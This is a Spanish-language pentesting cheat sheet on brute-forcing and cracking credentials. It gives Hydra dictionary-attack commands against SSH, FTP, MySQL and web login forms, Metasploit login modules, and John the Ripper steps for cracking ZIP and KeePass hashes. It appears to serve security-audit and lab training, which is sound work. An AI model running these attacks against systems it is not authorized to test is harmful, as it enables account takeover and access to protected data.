Saltar al contenido
Técnicas Fundamentales
Índice de contenidos

Fuerza Bruta y Cracking de Credenciales

Esta guía recopila las herramientas más utilizadas para realizar auditorías de autenticación en servicios de red y para recuperar contraseñas a partir de hashes o archivos protegidos.


Hydra

Hydra permite realizar ataques de diccionario contra numerosos protocolos.

Contraseña desconocida

hydra -l <usuario> -P /usr/share/wordlists/rockyou.txt <objetivo>

Usuario desconocido

hydra -L /usr/share/wordlists/metasploit/unix_users.txt -p <contraseña> <objetivo>

Objetivos compatibles

SSH

ssh://<IP>

Acceso tras obtener credenciales:

ssh <usuario>@<IP>

FTP

ftp://<IP>

Acceso:

ftp <IP>

MySQL

mysql://<IP>

Formularios Web (POST) — el caso habitual

El formato de http-post-form tiene tres partes separadas por : → "<ruta>:<cuerpo con ^USER^/^PASS^>:<condición de fallo>".

hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP> \
  http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Login Failed"
  • F=<texto> → marca el intento como fallido si la respuesta contiene ese texto (ej. Login Failed, incorrecta).
  • S=<texto> → al revés: marca como éxito si aparece ese texto (ej. Dashboard, Logout).

Consejo: intercepta el login con Burp para copiar la ruta exacta, los nombres reales de los campos (user/pass pueden llamarse username/password) y el mensaje de error literal. Un solo carácter mal en la cadena hace que Hydra marque todo como válido o todo como inválido.

Con HTTPS, puerto o cabeceras

# HTTPS -> usa https-post-form
hydra -l admin -P rockyou.txt <IP> https-post-form "/login:username=^USER^&password=^PASS^:F=inválid"

# Puerto distinto y cabeceras (cookie/CSRF token) con H=
hydra -l admin -P rockyou.txt -s 8080 <IP> http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=error:H=Cookie: PHPSESSID=abc123"

Formularios Web (GET)

hydra -l admin -P /usr/share/wordlists/rockyou.txt <IP> \
  http-get-form "/login.php:user=^USER^&pass=^PASS^:F=Login Failed"

Nota: usa -f para detener Hydra en cuanto encuentre una credencial válida, y -V para ver cada intento. Autenticación HTTP básica (la ventana emergente del navegador) usa el módulo http-get a secas, no http-get-form.


Metasploit

Metasploit dispone de módulos auxiliares para comprobar credenciales sobre distintos servicios.

SSH

search ssh_login

FTP

search ftp_login

SMB

search smb_login

John the Ripper

Herramienta utilizada para recuperar contraseñas a partir de hashes.

Archivos ZIP

Extraer el hash:

zip2john <archivo.zip> > hash

Crackear la contraseña:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Bases de datos KeePass (.kdbx)

Extraer el hash:

keepass2john <archivo.kdbx> > hash

Crackear la contraseña:

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Especificar el formato del hash

Si John no detecta automáticamente el formato:

Identificar el tipo de hash:

hash-identifier

Ejecutar John indicando el formato:

john --format=<formato_hash> --wordlist=/usr/share/wordlists/rockyou.txt hash

Diccionarios útiles

/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/metasploit/unix_users.txt
/usr/share/seclists/

Herramientas relacionadas

HerramientaDescripción
HydraAtaques de diccionario y fuerza bruta contra múltiples protocolos.
John the RipperRecuperación de contraseñas a partir de hashes.
hash-identifierIdentificación del tipo de hash.
zip2johnExtrae hashes de archivos ZIP.
keepass2johnExtrae hashes de bases de datos KeePass.
MetasploitFramework con módulos auxiliares para comprobar credenciales.

Consejo: Antes de lanzar un ataque de fuerza bruta, intenta obtener credenciales mediante enumeración, archivos de configuración, recursos compartidos o reutilización de contraseñas. Esto suele ser mucho más rápido y genera menos ruido que un ataque de diccionario.